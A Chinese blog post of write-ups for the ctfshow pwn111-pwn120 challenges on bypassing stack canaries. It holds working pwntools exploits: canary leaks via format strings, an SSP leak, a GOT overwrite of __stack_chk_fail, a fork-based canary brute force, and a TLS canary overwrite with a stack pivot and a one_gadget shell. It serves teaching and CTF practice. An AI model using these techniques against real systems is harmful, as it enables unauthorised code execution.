ctfshow:bypass安全机制pwn111~pwn(更新中)

pwn111

没难度


确实是一个简单的栈溢出,需要ret2libc,唉等等,有后门

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#p = process('./pwn109')
p = remote('pwn.challenge.ctf.show',28206)
elf = ELF('./pwn111')
offset=0x80+8
back=0x400697
payload=b'a'*offset+p64(back)
p.sendline(payload)
p.interactive()

pwn112

满足一定条件即可


一看知道n17=17的时候有好东西,跟进

果然可以拿到flag,那么怎么让n17=17呢

n17的位置在bass段


原来var的位置也在bass段,n17是var[13]


所以我们把var[13]覆盖成17就行了,0x11

from pwn import *
context(arch='i386',os='linux',log_level='debug')
#p = process('./pwn109')
p = remote('pwn.challenge.ctf.show',28132)
elf = ELF('./pwn112')
payload=p32(0x11)*0xe
p.sendline(payload)
p.interactive()

pwn113

理清逻辑,题目不难。


呃,先放放吧

pwn114

现在你应该学会了吧

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s1[10]; // [rsp+16h] [rbp-3FAh] BYREF
  char s[1004]; // [rsp+20h] [rbp-3F0h] BYREF
  int char; // [rsp+40Ch] [rbp-4h]

  init(argc, argv, envp);
  logo();
  signal(11, sigsegv_handler);
  flagishere();
  while ( 1 )
  {
    puts("Do you know Canary now?");
    puts("Input 'Yes' or 'No': ");
    __isoc99_scanf("%s", s1);
    if ( !strcmp(s1, "Yes") )
      break;
    if ( !strcmp(s1, "No") )
    {
      puts("I'm sorry to hear that! Come on.");
      return 0;
    }
    puts("Invalid input, please enter again!");
  }
  puts("Ok,I know you got it!");
  puts("Tell me you want: ");
  do
    char = getchar();
  while ( char != 10 && char != -1 );
  fgets(s, 1000, stdin);
  ctfshow(s);
  return 0;
}

main函数中,一开始读取了flag,但是没有输出,判断我们需要选Yes,然后进行输入

跟进ctfshow

拷贝了s到dest,可以溢出就有flag

直接生成0x100个字符就行

pwn115

Bypass Canary 姿势1


我们发现有后门可以ret2,跟进ctfshow函数


程序有两次输入

我们需要先利用格式化字符串泄露canary然后进行ret2text

我们直接套公式((0xd4-0xc)/4)+5=55

偏移是55

from pwn import *
context(arch='i386',os='linux',log_level='debug')
# p = process('./pwn115')
p = remote('pwn.challenge.ctf.show',28144)
elf = ELF('./pwn115')
payload=b'aaaa'+b'%55$p'
p.send(payload)
p.recvuntil(b'aaaa0x')
canary=int(p.recv(8),16)
print(f'canary={hex(canary)}')

payload1=b'a'*(0xd4-0xc)+p32(canary)+b'a'*0xc+p32(0x80485A6)
p.sendline(payload1)
p.interactive()

pwn116

Bypass Canary 姿势2


有后门,跟进ctfshow函数


我们同样利用格式化字符串泄露canary,先计算和验证canary的偏移


((0x2c-0xc)/4=8 加上格串偏移7等于15

from pwn import *
context(arch='i386',os='linux',log_level='debug')
#p = process('./pwn116')
p = remote('pwn.challenge.ctf.show',28291)
elf = ELF('./pwn116')
payload=b"aaaa%15$p"
#gdb.attach(p,'b 0x8048640')
p.sendline(payload)
p.recvuntil("aaaa0x")
canary=int(p.recv(8),16)
print(f'canary={hex(canary)}')
payload2=b'a'*(0x2c-0xc)+p32(canary)+b'a'*0xc+p32(0x8048586)
p.sendline(payload2)
p.interactive()


pwn117(SSP Leak)

int __fastcall main(int argc, const char **argv, const char **envp)
{
  int fd; // [rsp+2Ch] [rbp-114h]
  _BYTE v5[264]; // [rsp+30h] [rbp-110h] BYREF
  unsigned __int64 v6; // [rsp+138h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  logo();
  init();
  fd = open("/flag", 0);
  if ( !fd )
  {
    puts("No such file or directory.");
    exit(-1);
  }
  read(fd, &buf, 0x100u);
  puts("Haha,It has reduced you a lot of difficulty!");
  gets(v5);
  return 0;
}

这道题需要用到Stack Smashing Protect Leak,可以获取内存中的值

注意看结尾处如果canary的值被改变就会在结束前执行__stack_chk_fail


我们可以了解一下这个函数

eglibc-2.19/debug/stack_chk_fail.c

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}

void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminatedn",
                    msg, __libc_argv[0] ?: "<unknown>");
}


这道题后面get()存在栈溢出,当栈溢出可以覆盖程序中的argv[0]时,我们可以用这个方法打印任意地址的值,比如这里的bass段


但是我的偏移算出来是528,正确偏移是504

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#p = process('./pwn117')
p = remote('pwn.challenge.ctf.show',28232)
elf = ELF('./pwn117')
payload=b"a"*504+p64(0x6020A0)
#gdb.attach(p,'b main')
p.sendline(payload)
p.interactive()


可能是我的libc版本高了一点

pwn118

Bypass Canary 姿势4

有后门

跟进ctfshow函数

有栈溢出和格式化字符串漏洞,但是有一个问题,我们只能用一次,我们需要想办法让程序在运行就可以,但是看了wp有更好的办法,劫持__stack_chk_fail函数,因为如果canary被篡改就会调用这个函数,我们把它改成get_flag就可以拿到flag

看看偏移是7


填充到0x5c-c=0x50

from pwn import *
context(arch='i386',os='linux',log_level='debug')
#p = process('./pwn117')
p = remote('pwn.challenge.ctf.show',28284)
elf = ELF('./pwn118')
stackcheck=elf.got['__stack_chk_fail']
get_flag=elf.sym['get_flag']
payload=fmtstr_payload(7,{stackcheck:get_flag})
payload=payload.ljust(0x50,b'a')
p.sendline(payload)
p.recv()
p.interactive()

pwn119

Bypass Canary 姿势5

while ( 1 )
  {
    puts("Try PWN Me!");
    if ( !fork() )
      break;
    wait(0);
  }
  ctfshow();
  exit(0);
}

这个循环里面有一个fork函数

跟进ctfshow函数

有栈溢出和canary

.fork函数究竟在干什么?————>父子进程共享代码段,各自拥有数据段(写时拷贝)

所以在同一个进程中canary是相同的,我们可以爆破

from pwn import *
context.log_level = 'debug'
#io = process('./pwn119')
io = remote('pwn.challenge.ctf.show',28121)
elf = ELF('./pwn119')
backdoor = 0x08048636
 
canary = b'\x00'
for i in range(3):
  for j in range(0, 256):
      payload = b'a' * (0x70 - 0xC) + canary + p8(j)
      io.send(payload)
      sleep(0.3)
      text = io.recv()
      print(text)
      if (b"stack smashing detected" not in text):
          canary += p8(j)
          print(b"Canary: " + canary)
          break
print('Canary:'+ hex(u32(canary)))
payload = b'a' * (0x70 - 0xC) + canary + b'a' * 0xc + p32(backdoor)
io.send(payload)
io.recv()
io.interactive()

pwn120

Bypass Canary 姿势6


这道题应该是要泄露libc的,main中的pthread_create是创建线程,pthread_join是线程结束线程间同步,跟进一下start函数

主要利用n0x5000 <= 20480的情况,跟进readn

主要也是体现溢出,我们会覆盖canary当溢出足够大时,我们会把栈上的和TLS(创建线程的时候创建)中的canary一起覆盖掉

覆盖大小是0x510,我们需要找依一些gadget

我们需要把栈迁移到bass段,因为栈不可执行,所以需要leave的地址,bass段的地址

栈布局:

[ buffer ... ]
[ saved rbp ]  <-- 改成 bss_addr - 8
[ return addr ]

leave操作之后就实现了栈迁移

然后正常泄露puts

我们需要写一个one_gadget到stack_pivot上,所以需要一个read为后面发送onegadget做准备read(ssize_t read(int fd, void *buf, size_t count)只需要设置前两个,0,bass_addr然后执行leave

gadget:

0x0000000000400be3 : pop rdi ; ret
0x0000000000400be1 : pop rsi ; pop r15 ; ret
0x00000000004006be : ret
0000000000400B71 018 C9                            leave
data:0000000000602000


泄露出来应该是2.27的,找到一些one_gadget

0x4f29e execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, "-c", r12, NULL} is a valid argv

0x4f2a5 execve("/bin/sh", rsp+0x40, environ)
constraints:
  address rsp+0x50 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, r12, NULL} is a valid argv

0x4f302 execve("/bin/sh", rsp+0x40, environ)
constraints:
  [rsp+0x40] == NULL || {[rsp+0x40], [rsp+0x48], [rsp+0x50], [rsp+0x58], ...} is a valid argv

0x10a2fc execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a vali
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#p = process('./pwn120')
p = remote('pwn.challenge.ctf.show',28109)
elf = ELF('./pwn120')
libc=ELF("/home/faetong/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
data_addr=0x602000
pop_rdi_ret=0x400be3
pop_rsi_r15_ret=0x400be1
leave_addr=0x400B71
one_gadget=0x4f302 
read_addr=elf.sym['read']
payload1=b'a'*0x510+p64(data_addr-8)+p64(pop_rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_r15_ret)+p64(data_addr)+p64(0)+p64(read_addr)+p64(leave_addr)
payload1=payload1.ljust(0x1000,b'a')
p.sendlineafter("time?\n",str(0x1000))
p.send(payload1)
sleep(0.5)
#print(p.recv())
p.recvuntil(b"See you next time!\n")
puts_addr = u64(p.recv(6).ljust(8, b"\x00"))
print(hex(puts_addr))
base_addr=puts_addr-libc.sym['puts']
one_gadget_real=one_gadget+base_addr
payload2=p64(one_gadget_real)
p.send(payload2)
p.interactive()

千夏可爱捏...
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇